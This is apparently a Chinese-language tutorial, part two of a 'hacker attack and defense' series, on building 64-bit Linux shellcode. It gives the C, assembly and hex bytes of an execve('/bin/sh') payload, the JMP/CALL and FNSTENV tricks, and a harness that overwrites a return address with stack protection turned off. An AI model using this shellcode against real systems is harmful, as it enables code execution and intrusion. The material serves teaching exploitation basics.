黑客攻防入门（二）shellcode构造

1. 概说

shell我们都知道是什么了吧！ 狭义的shellcode 就是一段可以运行shell的代码！
构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖掉正常的返回地址。
shellcode通常放在缓冲区内，也可以通过环境变量存入堆内，也可以通过动态内存放入堆区。
下面我们学习一下怎样构造shellcode。

注意： 我是在Centos 64位的系统下进行测试和构建shellcode的，shellcode的高级技巧可以支持不同平台的移植，但下面构建的shellcode并不适合多平台。

---

2. shellcode源代码

下面是shellcode的c代码

#include 
#include 
int main(int argc, char *argv[])
{
    char *code[2]; 
    code[0] = "/bin/sh"; 
    code[1] = NULL; 
    execve(code[0], code, NULL); 
    return 0;
}

以上代码编译运行可以得到一个shell（命令行）。

1. execve 是 Unix/Linux下exec函数，Linux一般是用fork创建新进程，用exec来执行新的程序
2. exec有六个函数，其中只有execve是系统调用，其它五个exec函数最后都要调用execve。

3. 反汇编

我们将上面的代码进行编译，然后反汇编。

编译： gcc -o shellcode shellcode.c
反汇编：objdump -d shellcode > shellcode.s

shellcode.s 是我们得到的反汇编代码， 我们只需要关注main部分的：

0000000000400530 
:
  400530:       55                      push   %rbp
  400531:       48 89 e5                mov    %rsp,%rbp
  400534:       48 83 ec 20             sub    $0x20,%rsp
  400538:       89 7d ec                mov    %edi,-0x14(%rbp)
  40053b:       48 89 75 e0             mov    %rsi,-0x20(%rbp)
  40053f:       48 c7 45 f0 00 06 40    movq   $0x400600,-0x10(%rbp)
  400546:       00 
  400547:       48 c7 45 f8 00 00 00    movq   $0x0,-0x8(%rbp)
  40054e:       00 
  40054f:       48 8b 45 f0             mov    -0x10(%rbp),%rax
  400553:       48 8d 4d f0             lea    -0x10(%rbp),%rcx
  400557:       ba 00 00 00 00          mov    $0x0,%edx
  40055c:       48 89 ce                mov    %rcx,%rsi
  40055f:       48 89 c7                mov    %rax,%rdi
  400562:       e8 b9 fe ff ff          callq  400420 
  400567:       b8 00 00 00 00          mov    $0x0,%eax
  40056c:       c9                      leaveq
  40056d:       c3                      retq
  40056e:       66 90                   xchg   %ax,%ax

参照上面的反汇编代码，我们手工用汇编语言重写上面的shellcode.c，
如下：

.section .text
.global _start
_start:
jmp cl
pp: popq %rcx
pushq %rbp
mov %rsp, %rbp
subq $0x20, %rsp
movq %rcx, -0x10(%rbp)
movq $0x0,-0x8(%rbp)
mov $0, %edx
lea -0x10(%rbp), %rsi
mov -0x10(%rbp), %rdi
mov $59, %rax
syscall
cl:call pp
.ascii "/bin/sh"

上面的汇编代码中：

rax 保存系统调用号#59，这是execve的调用号
rdi 保存execve的第一个参数，是"/bin/sh"的地址
rsi 是指向前面用到的"/bin/sh"的指针开始并以空指针结尾的指针数组
rdx 是零，用来做execve的第三个参数
execve的原型是：int execve(const char *filename, char *const argv[],char *const envp[]);

我们将汇编代码保存在文件： scode.s 里。

---

shellcode构建技巧

shelloce构建唯一需要的技巧是： 巧妙地存放"/bin/sh"字符串和使用。

其中一个技巧是这样的：首先以一条【jmp】指令开始，它跳转到一个【call】指令处，该指令恰好是shelloce的起始处之前。执行【call】指令会将返回地址（shellcode起始地址）压栈，并跳到下一条指令（最初jmp指令之后）。
如下：
jmp xxx
pop xxx
xxxxxxxx
call pop address
.string

一个【jmp】和一个【call】首尾呼应，是用来得到.string里面内容的一个好办法。

除了JMP/CALL方法外，另一种常见的技术是使用FNSTENV汇编指令。
fnstenv指令将一个32字节的浮点单元（FPU）环境记录入由操作数指定的内存地址，FPU环境记录是一个数据结构，它的定义位于/usr/include/sys/user.h文件的user_fpregs_struct中。

/* These are the 32-bit x86 structures.  */
struct user_fpregs_struct
{
  long int cwd;
  long int swd;
  long int twd;
  long int fip;
  long int fcs;
  long int foo;
  long int fos;
  long int st_space [20];
};

利用fip里面包含的调用的最后一条FPU指令的eip，我们可以成功获得到当前的地址。

---

技巧实践

想要编写shellcode，就要理解目的程序调用shellcode时的难点，下面是上面的汇编代码的解释：

shellcode最麻烦的一点就是要将字符串“/bin/sh"作为参数传递，shellcode被写入缓冲区后，代码的位置是不固定的，为了能够得到"/bin/sh"这个字符串，黑客们利用call指令，因为call指令执行的第一个动作就是将下一条指令的地址压栈，而我们把字符串安排在call后，目的就是要把它压入栈中。

1. scode.s入口第一条指令： jmp cl #这是跳到cl标签处，亦即 call pp。

2. call pp #将字符串压栈，同时返回到上面pp标签处
3. popq %rcx #将字符串"/bin/sh"的地址存入rcx（通用寄存器），这里可以选择其它寄存器。
4. 接下来的三条指令是建立一个新的栈空间：
   pushq %rbp 　　　
   mov %rsp, %rbp 　　　
   subq $0x20, %rsp
   在真正注入的shellcode代码里，可以不用创建这个栈，但这里演示程序在单独执行时，"/bin/sh"字符串是放在了代码段里，是不允许修改的空间，所以要建栈将这个字符串复制过去。
5. movq %rcx, -0x10(%rbp) 　　#将字符串复制到栈
6. movq $0x0,-0x8(%rbp)　　　#创建调用exec时的参数name[1]，将它置0.
7. lea -0x10(%rbp), %rsi 　　#这是execve第二个参数，它需要**类型，所以用lea传送地址给rsi。
8. mov -0x10(%rbp), %rdi 　　#mov将字符串传给rdi，这是execve第一个参数。
9. mov $59, %rax 　　#这个59是execve的系统调用号，在/usr/include/asm/unistd_64.h里可以查询到.
10. syscall 　　　　　　#系统调用， 这个可以取代 int 0x80 .

不用考虑返回退出，代码基本无问题，下面进行编译和连接。

编译：　　as -o scode.o scode.s
连接： 　ld -o scode scode.o
用objdump反汇编scode，主要目的是提取二进制机器码，为了方便显示，二进制一般表示为十六进制。
这里有一条命令，可以直接输出到可以用在c语言的shellcode：

for i in $(objdump -d scode | grep "^ " |cut -f2); do echo -n '\x'$i; done;

最后得到的shellcode代码如下：

\xeb\x2b\x59\x55\x48\x89\xe5\x48\x83\xec\x20\x48\x89\x4d\xf0\x48\xc7\x45\xf8\x00
\x00\x00\x00\xba\x00\x00\x00\x00\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b
\x00\x00\x00\x0f\x05\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

4. 测试shellcode

下是用c语言写一个测试shellcode的程序：

#include 

unsigned char code[] = "\xeb\x2b\x59\x55\x48\x89\xe5\x48"   
 "\x83\xec\x20\x48\x89\x4d\xf0\x48" 
"\xc7\x45\xf8\x00\x00\x00\x00\xba" 
"\x00\x00\x00\x00\x48\x8d\x75\xf0"
 "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b" 
"\x00\x00\x00\x0f\x05\xe8\xd0\xff" 
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 

/* code 就是我们上面构造的 shellcode */

void main(int argc, char *argv[])
{ 
    long *ret; 
    ret = (long *)&ret + 2; 
    (*ret) = (long)code;
}

1. 因为是64位系统，地址是有64位宽度的，所以要用long类型
2. ret 作为main的第一个局部变量，它必定是存储在main的栈空间内，其中long * ret 这条指令占据了一个64位， 当ret地址加1（64位）时，ret就到到达栈的基址位置（rbp），我在（一）这文章里分析过，main函数的返回地址还在栈基址之上的高地址中，它距离rbp还有64位宽度，所以ret需要加上2（2个64位）才能到达main的返回地址的保存位置。
3. (*ret) = (long)code ， 很明显就是要用code的地址将main返回地址覆盖。

另外，由于系统设置了堆栈运行保护，gcc编译时需要使用参数：-fno-stack-protector -z execstack

5. shellcode 之后

shellcode 除了取得shell外，还有很多不同的功能，构建shellcode还有很多不同的方法，这里只是很基本的方法。

现代系统都有堆栈运行保护，有方法可以绕过这些保护不？

答案是有的，所谓道高一尺，魔高一丈！

上面的shellcode并不涉及缓冲区溢出，亦不适用缓冲区溢出，原因是什么呢？

且看下回分解。